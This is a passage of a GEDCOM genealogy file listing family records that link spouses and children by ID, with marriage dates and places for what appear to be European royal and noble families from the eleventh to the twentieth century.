@I293@\n1 WIFE @I940@\n1 CHIL @I941@\n1 CHIL @I942@\n1 CHIL @I943@\n1 CHIL @I944@\n1 MARR\n2 DATE        1979\n0 @F358@ FAM\n1 HUSB @I294@\n1 WIFE @I945@\n1 CHIL @I946@\n1 CHIL @I947@\n1 MARR\n2 DATE        1973\n0 @F359@ FAM\n1 HUSB @I295@\n1 WIFE @I948@\n1 CHIL @I949@\n1 CHIL @I950@\n1 MARR\n2 DATE        1981\n0 @F360@ FAM\n1 HUSB @I953@\n1 WIFE @I952@\n1 CHIL @I954@\n1 MARR\n2 DATE        1923\n0 @F361@ FAM\n1 HUSB @I954@\n1 WIFE @I955@\n1 CHIL @I956@\n1 CHIL @I957@\n1 DIV Y\n1 MARR\n2 DATE        1956\n0 @F362@ FAM\n1 HUSB @I960@\n1 WIFE @I959@\n1 CHIL @I961@\n1 CHIL @I962@\n1 CHIL @I963@\n1 CHIL @I964@\n1 CHIL @I965@\n1 MARR\n2 DATE        1961\n2 PLAC Asker,Near Oslo,Norway\n0 @F363@ FAM\n1 HUSB @I966@\n1 WIFE @I958@\n1 CHIL @I967@\n1 CHIL @I968@\n1 CHIL @I969@\n1 MARR\n2 DATE        1953\n0 @F364@ FAM\n1 HUSB @I438@\n1 WIFE @I971@\n1 CHIL @I1057@\n1 DIV Y\n1 MARR\n2 DATE 31 AUG 1918\n2 PLAC Odessa\n0 @F365@ FAM\n1 HUSB @I977@\n1 WIFE @I973@\n1 CHIL @I978@\n1 MARR\n2 DATE        1983\n0 @F366@ FAM\n1 HUSB @I979@\n1 WIFE @I974@\n1 CHIL @I980@\n1 MARR\n2 DATE        1984\n0 @F367@ FAM\n1 HUSB @I981@\n1 CHIL @I111@\n0 @F368@ FAM\n1 HUSB @I297@\n1 WIFE @I983@\n1 MARR\n2 DATE        1979\n0 @F369@ FAM\n1 HUSB @I984@\n1 WIFE @I985@\n1 CHIL @I986@\n1 MARR\n2 DATE 12 JUL 1472\n2 PLAC Westminster,,London,England\n0 @F370@ FAM\n1 HUSB @I987@\n1 WIFE @I1339@\n1 CHIL @I1340@\n1 CHIL @I985@\n0 @F371@ FAM\n1 HUSB @I988@\n1 WIFE @I989@\n1 CHIL @I991@\n1 CHIL @I992@\n1 CHIL @I993@\n1 CHIL @I984@\n1 CHIL @I994@\n1 CHIL @I995@\n1 CHIL @I996@\n1 CHIL @I997@\n0 @F372@ FAM\n1 HUSB @I990@\n1 WIFE @I1331@\n1 CHIL @I1342@\n1 CHIL @I989@\n0 @F373@ FAM\n1 HUSB @I991@\n1 WIFE @I998@\n1 CHIL @I774@\n1 CHIL @I999@\n1 CHIL @I1000@\n1 CHIL @I1001@\n1 CHIL @I1002@\n1 CHIL @I1003@\n1 CHIL @I1004@\n1 CHIL @I1005@\n1 CHIL @I1006@\n1 CHIL @I1007@\n1 MARR\n2 DATE  1 MAY 1464\n2 PLAC Grafton Regis,Northants\n0 @F374@ FAM\n1 HUSB @I1008@\n1 WIFE @I1000@\n1 MARR\n2 DATE BEF    DEC 1487\n0 @F375@ FAM\n1 HUSB @I1009@\n1 WIFE @I1000@\n1 MARR\n2 DATE BEF    JAN 1504\n0 @F376@ FAM\n1 HUSB @I1003@\n1 WIFE @I1010@\n1 MARR\n2 DATE 15 JAN 1478\n2 PLAC St. Stephen's,Chapel,Westminster,England\n0 @F377@ FAM\n1 HUSB @I1011@\n1 WIFE @I1004@\n1 MARR\n2 DATE  4 FEB 1495\n0 @F378@ FAM\n1 HUSB @I1012@\n1 WIFE @I1006@\n1 MARR\n2 DATE BEF    OCT 1495\n0 @F379@ FAM\n1 HUSB @I1013@\n1 WIFE @I998@\n1 CHIL @I1014@\n1 CHIL @I1015@\n1 MARR\n2 DATE BEF    1460\n0 @F380@ FAM\n1 HUSB @I1016@\n1 WIFE @I985@\n1 MARR\n2 DATE    AUG 1470\n2 PLAC Amboise\n0 @F381@ FAM\n1 HUSB @I993@\n1 WIFE @I1340@\n1 CHIL @I1018@\n1 CHIL @I1019@\n0 @F382@ FAM\n1 HUSB @I1020@\n1 WIFE @I994@\n0 @F383@ FAM\n1 HUSB @I1021@\n1 WIFE @I994@\n0 @F384@ FAM\n1 HUSB @I1022@\n1 WIFE @I996@\n0 @F385@ FAM\n1 HUSB @I1023@\n1 WIFE @I1024@\n1 CHIL @I988@\n1 CHIL @I1025@\n0 @F386@ FAM\n1 HUSB @I1026@\n1 WIFE @I1025@\n0 @F387@ FAM\n1 HUSB @I1027@\n1 WIFE @I1028@\n1 CHIL @I605@\n1 MARR\n2 DATE        1850\n0 @F388@ FAM\n1 HUSB @I653@\n1 WIFE @I1029@\n1 CHIL @I1028@\n1 CHIL @I512@\n1 CHIL @I1683@\n1 CHIL @I1684@\n1 MARR\n2 DATE        1825\n0 @F389@ FAM\n1 HUSB @I1033@\n1 WIFE @I1032@\n1 CHIL @I2711@\n1 CHIL @I2712@\n1 MARR\n2 DATE        1963\n0 @F390@ FAM\n1 HUSB @I1034@\n1 WIFE @I1036@\n1 MARR\n2 DATE        1960\n0 @F391@ FAM\n1 HUSB @I1031@\n1 WIFE @I1037@\n1 CHIL @I2706@\n1 CHIL @I2707@\n1 CHIL @I2708@\n1 MARR\n2 DATE        1946\n0 @F392@ FAM\n1 HUSB @I1030@\n1 WIFE @I1038@\n1 CHIL @I1039@\n1 CHIL @I1040@\n1 CHIL @I1041@\n1 CHIL @I1042@\n1 CHIL @I1043@\n1 CHIL @I1044@\n0 @F393@ FAM\n1 HUSB @I1045@\n1 WIFE @I1039@\n0 @F394@ FAM\n1 HUSB @I1040@\n1 WIFE @I1046@\n1 CHIL @I1047@\n1 CHIL @I1048@\n0 @F395@ FAM\n1 HUSB @I1041@\n1 WIFE @I1049@\n1 CHIL @I1050@\n1 DIV N\n1 MARR\n2 DATE    SEP 1988\n0 @F396@ FAM\n1 HUSB @I1051@\n1 WIFE @I1043@\n0 @F397@ FAM\n1 HUSB @I1052@\n1 WIFE @I255@\n0 @F398@ FAM\n1 HUSB @I1053@\n1 WIFE @I257@\n0 @F399@ FAM\n1 HUSB @I260@\n1 WIFE @I1054@\n1 CHIL @I469@\n0 @F400@ FAM\n1 HUSB @I1055@\n1 WIFE @I1056@\n1 CHIL @I971@\n0 @F401@ FAM\n1 HUSB @I438@\n1 WIFE @I1058@\n1 MARR\n2 DATE  3 JUN 1947\n2 PLAC Rio de Janerio,Brazil\n0 @F402@ FAM\n1 HUSB @I608@\n1 WIFE @I1059@\n1 CHIL @I610@\n1 CHIL @I1672@\n1 CHIL @I472@\n1 MARR\n2 DATE 24 MAY 1935\n2 PLAC Stockholm,Sweden\n0 @F403@ FAM\n1 HUSB @I1065@\n1 WIFE @I1066@\n1 CHIL @I473@\n0 @F404@ FAM\n1 HUSB @I1067@\n1 WIFE @I1068@\n1 CHIL @I247@\n0 @F405@ FAM\n1 HUSB @I247@\n1 WIFE @I1069@\n1 CHIL @I1070@\n1 CHIL @I1071@\n1 CHIL @I1072@\n1 CHIL @I1073@\n0 @F406@ FAM\n1 HUSB @I1070@\n1 WIFE @I1074@\n1 DIV Y\n0 @F407@ FAM\n1 HUSB @I1070@\n1 WIFE @I1075@\n1 CHIL @I1076@\n1 CHIL @I1077@\n0 @F408@ FAM\n1 HUSB @I1070@\n1 WIFE @I1078@\n1 CHIL @I1079@\n1 CHIL @I1080@\n1 CHIL @I1081@\n0 @F409@ FAM\n1 HUSB @I1080@\n1 WIFE @I1082@\n0 @F410@ FAM\n1 HUSB @I1083@\n1 WIFE @I1081@\n0 @F411@ FAM\n1 HUSB @I1073@\n1 WIFE @I1084@\n1 CHIL @I1085@\n1 CHIL @I1086@\n1 CHIL @I1087@\n1 CHIL @I1088@\n1 CHIL @I1089@\n0 @F412@ FAM\n1 HUSB @I1086@\n1 WIFE @I1079@\n1 CHIL @I1090@\n0 @F413@ FAM\n1 HUSB @I1090@\n1 WIFE @I1091@\n1 CHIL @I1092@\n1 CHIL @I1093@\n0 @F414@ FAM\n1 HUSB @I1094@\n1 WIFE @I1092@\n0 @F415@ FAM\n1 HUSB @I1090@\n1 WIFE @I1095@\n0 @F416@ FAM\n1 HUSB @I1099@\n1 WIFE @I1100@\n1 CHIL @I1101@\n1 CHIL @I309@\n1 CHIL @I1102@\n0 @F417@ FAM\n1 HUSB @I1102@\n1 WIFE @I1103@\n1 MARR\n2 DATE        1894\n0 @F418@ FAM\n1 HUSB @I1104@\n1 WIFE @I1105@\n1 CHIL @I1099@\n1 CHIL @I1106@\n1 CHIL @I1107@\n1 CHIL @I1108@\n1 CHIL @I1109@\n1 CHIL @I1110@\n0 @F419@ FAM\n1 HUSB @I1111@\n1 WIFE @I1106@\n0 @F420@ FAM\n1 HUSB @I1107@\n1 WIFE @I1112@\n1 MARR\n2 DATE 15 NOV 1869\n2 PLAC Neuwied,Germany\n0 @F421@ FAM\n1 HUSB @I1109@\n1 WIFE @I1113@\n0 @F422@ FAM\n1 HUSB @I1114@\n1 WIFE @I1110@\n1 CHIL @I1115@\n1 CHIL @I1116@\n1 CHIL @I1117@\n1 CHIL @I1103@\n1 CHIL @I1118@\n1 MARR\n2 DATE        1867\n0 @F423@ FAM\n1 HUSB @I1118@\n1 WIFE @I1119@\n1 CHIL @I600@\n1 CHIL @I1120@\n1 CHIL @I1121@\n1 MARR\n2 DATE  2 OCT 1900\n2 PLAC Munich,Germany\n0 @F424@ FAM\n1 HUSB @I1122@\n1 WIFE @I1121@\n1 MARR\n2 DATE        1930\n0 @F425@ FAM\n1 HUSB @I1125@\n1 WIFE @I1123@\n1 MARR\n2 DATE        1953\n0 @F426@ FAM\n1 HUSB @I601@\n1 WIFE @I1126@\n1 MARR\n2 DATE 15 DEC 1960\n2 PLAC Brussels,Belgium\n0 @F427@ FAM\n1 HUSB @I1124@\n1 WIFE @I1127@\n1 CHIL @I1128@\n1 CHIL @I1129@\n1 CHIL @I1130@\n1 MARR\n2 DATE        1959\n0 @F428@ FAM\n1 HUSB @I1131@\n1 WIFE @I1129@\n0 @F429@ FAM\n1 HUSB @I600@\n1 WIFE @I1132@\n1 CHIL @I1133@\n1 CHIL @I1134@\n1 CHIL @I1135@\n1 MARR\n2 DATE 11 SEP 1941\n2 PLAC Laeken\n0 @F430@ FAM\n1 HUSB @I1136@\n1 WIFE @I1134@\n1 DIV Y\n0 @F431@ FAM\n1 HUSB @I637@\n1 WIFE @I1137@\n1 CHIL @I1138@\n1 CHIL @I1139@\n1 CHIL @I1140@\n1 CHIL @I1074@\n1 CHIL @I1141@\n1 MARR\n2 DATE 30 SEP 1785\n2 PLAC Darmstadt\n0 @F432@ FAM\n1 HUSB @I1138@\n1 WIFE @I1142@\n1 CHIL @I1143@\n1 CHIL @I495@\n1 CHIL @I1148@\n1 CHIL @I1149@\n1 CHIL @I1150@\n1 CHIL @I1151@\n1 CHIL @I1152@\n1 CHIL @I1153@\n1 MARR\n2 DATE 12 OCT 1810\n2 PLAC Munich\n0 @F433@ FAM\n1 HUSB @I1143@\n1 WIFE @I1144@\n1 CHIL @I1145@\n1 CHIL @I1146@\n1 MARR\n2 DATE 12 OCT 1842\n2 PLAC Munich\n0 @F434@ FAM\n1 HUSB @I411@\n1 WIFE @I1155@\n0 @F435@ FAM\n1 HUSB @I761@\n1 WIFE @I343@\n1 CHIL @I1160@\n1 CHIL @I1161@\n1 CHIL @I1162@\n1 CHIL @I1163@\n1 CHIL @I1164@\n1 CHIL @I1165@\n1 CHIL @I1166@\n1 CHIL @I1167@\n1 CHIL @I1168@\n1 CHIL @I568@\n1 CHIL @I1169@\n1 CHIL @I1170@\n1 CHIL @I1171@\n1 MARR\n2 DATE 28 NOV 1706\n2 PLAC Berlin\n0 @F436@ FAM\n1 HUSB @I772@\n1 WIFE @I1173@\n1 CHIL @I1174@\n1 CHIL @I1175@\n1 MARR\n2 DATE 23 AUG 1679\n2 PLAC Potsdam\n0 @F437@ FAM\n1 HUSB @I772@\n1 WIFE @I1176@\n1 MARR\n2 DATE 28 NOV 1708\n2 PLAC Berlin\n0 @F438@ FAM\n1 HUSB @I1150@\n1 WIFE @I1179@\n1 CHIL @I688@\n1 CHIL @I1180@\n1 CHIL @I1181@\n1 CHIL @I1182@\n0 @F439@ FAM\n1 HUSB @I689@\n1 WIFE @I1186@\n1 CHIL @I1187@\n1 CHIL @I1188@\n1 CHIL @I1189@\n1 CHIL @I1190@\n1 CHIL @I1191@\n1 CHIL @I1192@\n0 @F440@ FAM\n1 HUSB @I1193@\n1 WIFE @I1158@\n1 CHIL @I1194@\n1 CHIL @I1195@\n1 CHIL @I1196@\n1 CHIL @I1197@\n1 CHIL @I1198@\n1 CHIL @I1199@\n1 CHIL @I1200@\n1 CHIL @I1201@\n0 @F441@ FAM\n1 HUSB @I1197@\n1 WIFE @I1202@\n1 CHIL @I1119@\n1 CHIL @I690@\n1 MARR\n2 DATE        1874\n0 @F442@ FAM\n1 HUSB @I1203@\n1 WIFE @I74@\n0 @F443@ FAM\n1 HUSB @I1207@\n1 WIFE @I661@\n1 CHIL @I1208@\n1 CHIL @I1209@\n1 CHIL @I1210@\n1 MARR\n2 DATE 10 MAR 1966\n2 PLAC Amsterdam,Netherlands\n0 @F444@ FAM\n1 HUSB @I1211@\n1 WIFE @I1212@\n1 CHIL @I1207@\n0 @F445@ FAM\n1 HUSB @I1213@\n1 WIFE @I1214@\n1 CHIL @I658@\n1 MARR\n2 DATE        1868\n0 @F446@ FAM\n1 HUSB @I1215@\n1 WIFE @I198@\n1 CHIL @I740@\n0 @F447@ FAM\n1 HUSB @I655@\n1 WIFE @I1077@\n1 CHIL @I1678@\n1 CHIL @I1679@\n1 CHIL @I1680@\n1 MARR\n2 DATE 18 JUN 1839\n2 PLAC Stuttgart\n0 @F448@ FAM\n1 HUSB @I1217@\n1 WIFE @I1218@\n1 CHIL @I1016@\n1 MARR\n2 DATE 22 APR 1445\n2 PLAC Titchfield,Abbey,Hants\n0 @F449@ FAM\n1 HUSB @I1219@\n1 WIFE @I1220@\n1 CHIL @I1217@\n1 MARR\n2 DATE  2 JUN 1420\n2 PLAC Troyes\n0 @F450@ FAM\n1 HUSB @I1221@\n1 WIFE @I1222@\n1 CHIL @I1223@\n1 CHIL @I1219@\n1 CHIL @I1224@\n1 CHIL @I1225@\n1 CHIL @I1226@\n1 CHIL @I1227@\n1 CHIL @I1228@\n1 MARR\n2 DATE        1380/1381\n2 PLAC Arundel Castle\n0 @F451@ FAM\n1 HUSB @I1229@\n1 WIFE @I1230@\n1 CHIL @I1231@\n1 CHIL @I1232@\n1 CHIL @I1233@\n1 CHIL @I1234@\n1 CHIL @I1235@\n1 CHIL @I1236@\n1 CHIL @I1237@\n1 CHIL @I1238@\n1 CHIL @I1239@\n1 CHIL @I1240@\n1 CHIL @I1241@\n1 CHIL @I1242@\n1 MARR\n2 DATE 24 JAN 1328\n2 PLAC York Minster\n0 @F452@ FAM\n1 HUSB @I1236@\n1 WIFE @I1243@\n1 CHIL @I1501@\n1 CHIL @I1502@\n1 CHIL @I1221@\n1 MARR\n2 DATE 13 MAY 1359\n2 PLAC Reading\n0 @F453@ FAM\n1 HUSB @I1245@\n1 WIFE @I1244@\n1 CHIL @I683@\n1 MARR\n2 DATE        1846\n0 @F454@ FAM\n1 HUSB @I1246@\n1 WIFE @I2874@\n1 CHIL @I1244@\n1 MARR\n2 DATE        1829\n0 @F455@ FAM\n1 HUSB @I1249@\n1 WIFE @I1247@\n1 CHIL @I725@\n1 MARR\n2 DATE 29 JUL 1565\n2 PLAC Edinburgh,Scotland\n0 @F456@ FAM\n1 HUSB @I1248@\n1 WIFE @I1247@\n1 MARR\n2 DATE 24 APR 1558\n2 PLAC Paris,France\n0 @F457@ FAM\n1 HUSB @I1250@\n1 WIFE @I1247@\n1 MARR\n2 DATE ABT    1567\n0 @F458@ FAM\n1 HUSB @I835@\n1 WIFE @I1429@\n0 @F459@ FAM\n1 HUSB @I835@\n1 WIFE @I1251@\n1 CHIL @I1247@\n1 MARR\n2 DATE        1538\n0 @F460@ FAM\n1 HUSB @I1252@\n1 WIFE @I1469@\n1 CHIL @I834@\n1 CHIL @I2867@\n1 CHIL @I2868@\n1 MARR\n2 DATE        1469\n0 @F461@ FAM\n1 HUSB @I1254@\n1 WIFE @I1255@\n1 CHIL @I773@\n0 @F462@ FAM\n1 HUSB @I1260@\n1 WIFE @I2546@\n1 CHIL @I838@\n1 MARR\n2 DATE        1462\n0 @F463@ FAM\n1 HUSB @I1259@\n1 WIFE @I1257@\n1 MARR\n2 DATE    MAY 1332\n2 PLAC Ni jmegen\n0 @F464@ FAM\n1 HUSB @I1261@\n1 WIFE @I1262@\n1 CHIL @I1263@\n1 CHIL @I1264@\n1 CHIL @I1265@\n1 CHIL @I1266@\n1 CHIL @I1267@\n1 CHIL @I1268@\n1 CHIL @I1269@\n1 CHIL @I1270@\n1 CHIL @I1271@\n1 CHIL @I1272@\n1 CHIL @I1273@\n1 CHIL @I1274@\n1 CHIL @I286@\n1 CHIL @I1275@\n1 CHIL @I1276@\n1 MARR\n2 DATE    OCT 1254\n2 PLAC Las Huelgas\n0 @F465@ FAM\n1 HUSB @I1261@\n1 WIFE @I1277@\n1 CHIL @I1278@\n1 CHIL @I1279@\n1 CHIL @I1280@\n1 MARR\n2 DATE 10 SEP 1299\n2 PLAC Canterbury,Cathedral\n0 @F466@ FAM\n1 HUSB @I1281@\n1 WIFE @I1282@\n1 CHIL @I1261@\n1 CHIL @I1283@\n1 CHIL @I1284@\n1 CHIL @I1285@\n1 CHIL @I1286@\n1 CHIL @I1287@\n1 CHIL @I1288@\n1 CHIL @I1289@\n1 CHIL @I1290@\n1 MARR\n2 DATE  4 JAN 1236\n2 PLAC Canterbury,Cathedral\n0 @F467@ FAM\n1 HUSB @I1291@\n1 WIFE @I1292@\n1 CHIL @I781@\n0 @F468@ FAM\n1 HUSB @I565@\n1 WIFE @I1293@\n1 MARR\n2 DATE 17 FEB 1841\n2 PLAC Berlin,Germany\n0 @F469@ FAM\n1 HUSB @I1294@\n1 WIFE @I1295@\n1 CHIL @I1296@\n1 CHIL @I654@\n1 CHIL @I42@\n1 MARR\n2 DATE        1776\n0 @F470@ FAM\n1 HUSB @I1296@\n1 WIFE @I1297@\n1 CHIL @I1298@\n0 @F471@ FAM\n1 HUSB @I1300@\n1 WIFE @I1299@\n1 CHIL @I1294@\n1 MARR\n2 DATE        1745\n0 @F472@ FAM\n1 HUSB @I1301@\n1 WIFE @I1302@\n1 CHIL @I1303@\n1 CHIL @I1304@\n1 MARR\n2 DATE        1712\n0 @F473@ FAM\n1 HUSB @I1419@\n1 WIFE @I1303@\n1 CHIL @I1300@\n1 MARR\n2 DATE        1725\n0 @F474@ FAM\n1 HUSB @I1301@\n1 WIFE @I1305@\n1 CHIL @I1306@\n1 DIV Y\n0 @F475@ FAM\n1 HUSB @I1306@\n1 WIFE @I1307@\n1 CHIL @I1308@\n0 @F476@ FAM\n1 HUSB @I1309@\n1 WIFE @I1310@\n1 CHIL @I1325@\n1 CHIL @I1324@\n1 CHIL @I1311@\n1 MARR\n2 DATE ABT    1641\n0 @F477@ FAM\n1 HUSB @I1312@\n1 WIFE @I1313@\n1 CHIL @I1309@\n1 MARR\n2 DATE        1626\n0 @F478@ FAM\n1 HUSB @I1309@\n1 WIFE @I1314@\n1 CHIL @I1301@\n1 MARR\n2 DATE ABT    1670\n0 @F479@ FAM\n1 HUSB @I1311@\n1 WIFE @I1315@\n1 CHIL @I1316@\n0 @F480@ FAM\n1 HUSB @I1316@\n1 WIFE @I1317@\n1 CHIL @I1319@\n1 CHIL @I1318@\n0 @F481@ FAM\n1 HUSB @I1320@\n1 WIFE @I1319@\n1 CHIL @I1321@\n0 @F482@ FAM\n1 HUSB @I1322@\n1 WIFE @I1321@\n1 CHIL @I1323@\n0 @F483@ FAM\n1 HUSB @I1326@\n1 WIFE @I2662@\n1 CHIL @I1314@\n0 @F484@ FAM\n1 HUSB @I1225@\n1 WIFE @I1327@\n1 MARR\n2 DATE 22 APR 1433\n2 PLAC Therouenne\n0 @F485@ FAM\n1 HUSB @I1236@\n1 WIFE @I1328@\n1 CHIL @I1329@\n1 CHIL @I1330@\n1 CHIL @I1331@\n1 CHIL @I1437@\n1 MARR\n2 DATE 13 JAN 1396\n2 PLAC Lincoln\n0 @F486@ FAM\n1 HUSB @I1329@\n1 WIFE @I1595@\n1 CHIL @I1333@\n1 CHIL @I1334@\n1 CHIL @I1335@\n1 CHIL @I1465@\n1 CHIL @I2079@\n0 @F487@ FAM\n1 HUSB @I1334@\n1 WIFE @I1336@\n1 CHIL @I1255@\n0 @F488@ FAM\n1 HUSB @I1237@\n1 WIFE @I1337@\n1 CHIL @I1023@\n1 CHIL @I1338@\n1 CHIL @I2294@\n1 MARR\n2 DATE ABT  1 MAR 1372\n2 PLAC Hertford\n0 @F489@ FAM\n1 HUSB @I531@\n1 WIFE @I530@\n1 CHIL @I741@\n0 @F490@ FAM\n1 HUSB @I1342@\n1 CHIL @I987@\n0 @F491@ FAM\n1 HUSB @I1242@\n1 WIFE @I1343@\n1 CHIL @I2071@\n1 CHIL @I1603@\n1 CHIL @I2072@\n1 CHIL @I2073@\n1 MARR\n2 DATE        1374\n0 @F492@ FAM\n1 HUSB @I1344@\n1 WIFE @I1345@\n1 CHIL @I1346@\n1 CHIL @I2280@\n1 CHIL @I1024@\n1 CHIL @I2281@\n0 @F493@ FAM\n1 HUSB @I1235@\n1 WIFE @I1347@\n1 MARR\n2 DATE 28 MAY 1368\n2 PLAC Milan,Italy\n0 @F494@ FAM\n1 HUSB @I1349@\n1 WIFE @I1348@\n1 CHIL @I1344@\n1 CHIL @I2283@\n1 CHIL @I2284@\n1 CHIL @I2285@\n0 @F495@ FAM\n1 HUSB @I1350@\n1 WIFE @I1255@\n0 @F496@ FAM\n1 HUSB @I1351@\n1 WIFE @I1255@\n0 @F497@ FAM\n1 HUSB @I1352@\n1 WIFE @I1220@\n1 CHIL @I1353@\n1 CHIL @I1254@\n0 @F498@ FAM\n1 HUSB @I155@\n1 WIFE @I1354@\n1 CHIL @I502@\n1 CHIL @I1360@\n1 MARR\n2 DATE    JUL 1912\n2 PLAC Vienna,Austria\n0 @F499@ FAM\n1 HUSB @I152@\n1 WIFE @I1356@\n1 CHIL @I1357@\n1 CHIL @I1358@\n1 CHIL @I1359@\n1 MARR\n2 DATE        1902\n2 PLAC Leghorn\n0 @F500@ FAM\n1 HUSB @I1361@\n1 WIFE @I156@\n1 DIV Y\n1 MARR\n2 DATE    JUL 1901\n0 @F501@ FAM\n1 HUSB @I1363@\n1 WIFE @I333@\n1 CHIL @I143@\n0 @F502@ FAM\n1 HUSB @I1364@\n1 WIFE @I1365@\n1 DIV Y\n1 MARR\n2 DATE 29 AUG 1189\n2 PLAC Marlebridge\n0 @F503@ FAM\n1 HUSB @I1364@\n1 WIFE @I1366@\n1 CHIL @I1281@\n1 CHIL @I1367@\n1 CHIL @I1368@\n1 CHIL @I1369@\n1 CHIL @I1370@\n1 MARR\n2 DATE 24 AUG 1200\n2 PLAC Bordeaux\n0 @F504@ FAM\n1 HUSB @I1371@\n1 WIFE @I1372@\n1 CHIL @I1373@\n1 CHIL @I1374@\n1 CHIL @I1375@\n1 CHIL @I1376@\n1 CHIL @I1377@\n1 CHIL @I1378@\n1 CHIL @I1379@\n1 CHIL @I1364@\n1 MARR\n2 DATE 18 MAY 1152\n2 PLAC Bordeaux,France\n0 @F505@ FAM\n1 HUSB @I1380@\n1 WIFE @I1381@\n1 CHIL @I1382@\n1 CHIL @I1383@\n1 CHIL @I1384@\n1 CHIL @I1385@\n1 CHIL @I1386@\n1 CHIL @I1387@\n1 CHIL @I1388@\n1 CHIL @I1389@\n1 CHIL @I1390@\n1 CHIL @I1391@\n1 MARR\n2 DATE        1053\n0 @F506@ FAM\n1 HUSB @I1391@\n1 WIFE @I1392@\n1 CHIL @I1393@\n1 CHIL @I2957@\n1 CHIL @I1394@\n1 CHIL @I1395@\n1 CHIL @I2224@\n1 MARR\n2 DATE  6 AUG 1100\n2 PLAC Westminster,Abbey,London,England\n0 @F507@ FAM\n1 HUSB @I1391@\n1 WIFE @I1396@\n1 MARR\n2 DATE 29 JAN 1122\n2 PLAC Westminster,Abbey,London,England\n0 @F508@ FAM\n1 HUSB @I1397@\n1 WIFE @I1398@\n1 CHIL @I1399@\n1 CHIL @I1400@\n1 CHIL @I1401@\n1 CHIL @I1402@\n1 CHIL @I1403@\n1 MARR\n2 DATE        1125\n2 PLAC Westminster,England\n0 @F509@ FAM\n1 HUSB @I1404@\n1 WIFE @I1395@\n1 MARR\n2 DATE  7 JAN 1114\n2 PLAC Mainz\n0 @F510@ FAM\n1 HUSB @I1405@\n1 WIFE @I1395@\n1 CHIL @I1371@\n1 CHIL @I1866@\n1 CHIL @I1867@\n1 MARR\n2 DATE 22 MAY 1127\n2 PLAC Le Mans\n0 @F511@ FAM\n1 HUSB @I164@\n1 WIFE @I1406@\n1 CHIL @I1407@\n1 DIV Y\n1 MARR\n2 DATE        1926\n2 PLAC Biarritz\n0 @F512@ FAM\n1 HUSB @I1408@\n1 WIFE @I1355@\n1 CHIL @I1409@\n1 DIV Y\n1 MARR\n2 DATE        1908\n0 @F513@ FAM\n1 HUSB @I1231@\n1 WIFE @I1410@\n1 CHIL @I1411@\n1 CHIL @I1412@\n1 MARR\n2 DATE 10 OCT 1361\n2 PLAC Windsor,England\n0 @F514@ FAM\n1 HUSB @I1412@\n1 WIFE @I1413@\n1 MARR\n2 DATE 20 JAN 1382\n2 PLAC Westminster,Palace,London,England\n0 @F515@ FAM\n1 HUSB @I1412@\n1 WIFE @I1414@\n1 MARR\n2 DATE  1 NOV 1396\n2 PLAC Calais\n0 @F516@ FAM\n1 HUSB @I1415@\n1 WIFE @I1232@\n1 MARR\n2 DATE 27 JUL 1365\n2 PLAC Windsor,England\n0 @F517@ FAM\n1 HUSB @I1236@\n1 WIFE @I1416@\n1 CHIL @I2065@\n1 MARR\n2 DATE    SEP 1371\n2 PLAC Roquefort\n0 @F518@ FAM\n1 HUSB @I1417@\n1 WIFE @I1240@\n1 MARR\n2 DATE 19 MAY 1359\n2 PLAC Reading\n0 @F519@ FAM\n1 HUSB @I1235@\n1 WIFE @I1418@\n1 CHIL @I1348@\n1 MARR\n2 DATE  9 SEP 1342\n2 PLAC Tower of London,London,England\n0 @F520@ FAM\n1 HUSB @I564@\n1 WIFE @I496@\n1 CHIL @I248@\n0 @F521@ FAM\n1 HUSB @I529@\n1 WIFE @I920@\n1 CHIL @I1341@\n1 CHIL @I751@\n1 MARR\n2 DATE 24 NOV 1615\n0 @F522@ FAM\n1 HUSB @I2132@\n1 WIFE @I1017@\n1 CHIL @I920@\n1 CHIL @I2131@\n1 CHIL @I2417@\n1 MARR\n2 DATE        1599\n0 @F523@ FAM\n1 HUSB @I1341@\n1 WIFE @I1420@\n1 CHIL @I2423@\n1 MARR\n2 DATE  9 JUN 1660\n2 PLAC St Jean-de-Luz,France\n0 @F524@ FAM\n1 HUSB @I1341@\n1 WIFE @I1421@\n1 MARR\n2 DATE 12 JUN 1684\n2 PLAC Versailles,France\n0 @F525@ FAM\n1 HUSB @I1422@\n1 WIFE @I1423@\n1 CHIL @I894@\n1 MARR\n2 DATE  4 SEP 1725\n0 @F526@ FAM\n1 HUSB @I1424@\n1 WIFE @I1425@\n1 CHIL @I1703@\n1 CHIL @I1700@\n1 CHIL @I1701@\n1 CHIL @I1702@\n1 MARR\n2 DATE 16 MAY 1770\n2 PLAC Versailles,France\n0 @F527@ FAM\n1 HUSB @I1430@\n1 WIFE @I1427@\n1 CHIL @I868@\n1 CHIL @I2106@\n1 CHIL @I2107@\n0 @F528@ FAM\n1 HUSB @I1432@\n1 WIFE @I1431@\n1 CHIL @I1249@\n1 CHIL @I1433@\n0 @F529@ FAM\n1 HUSB @I836@\n1 WIFE @I776@\n1 CHIL @I1431@\n1 DIV Y\n1 MARR\n2 DATE  4 AUG 1514\n0 @F530@ FAM\n1 HUSB @I1433@\n1 WIFE @I1434@\n1 CHIL @I1435@\n0 @F531@ FAM\n1 HUSB @I1436@\n1 WIFE @I1435@\n0 @F532@ FAM\n1 HUSB @I1438@\n1 WIFE @I1196@\n1 CHIL @I1439@\n1 CHIL @I1440@\n1 CHIL @I1441@\n1 MARR\n2 DATE        1854\n0 @F533@ FAM\n1 HUSB @I1442@\n1 WIFE @I1200@\n1 MARR\n2 DATE        1868\n0 @F534@ FAM\n1 HUSB @I1237@\n1 WIFE @I1443@\n1 MARR\n2 DATE BEF  4 NOV 1393\n0 @F535@ FAM\n1 HUSB @I1023@\n1 WIFE @I1444@\n0 @F536@ FAM\n1 HUSB @I1346@\n1 WIFE @I1445@\n0 @F537@ FAM\n1 HUSB @I1353@\n1 WIFE @I1446@\n0 @F538@ FAM\n1 HUSB @I1447@\n1 WIFE @I1448@\n1 CHIL @I1449@\n1 MARR\n2 DATE        1296\n0 @F539@ FAM\n1 HUSB @I1447@\n1 WIFE @I1450@\n1 CHIL @I1451@\n1 MARR\n2 DATE        1302\n0 @F540@ FAM\n1 HUSB @I1451@\n1 WIFE @I1258@\n1 MARR\n2 DATE 17 JUL 1328\n2 PLAC Berwick-on-Tweed\n0 @F541@ FAM\n1 HUSB @I1451@\n1 WIFE @I1453@\n1 DIV Y\n0 @F542@ FAM\n1 HUSB @I1454@\n1 WIFE @I1449@\n1 CHIL @I1455@\n1 MARR\n2 DATE        1315\n0 @F543@ FAM\n1 HUSB @I1455@\n1 WIFE @I1456@\n1 CHIL @I1457@\n1 CHIL @I1458@\n1 CHIL @I1459@\n1 CHIL @I1460@\n1 CHIL @I1821@\n0 @F544@ FAM\n1 HUSB @I1457@\n1 WIFE 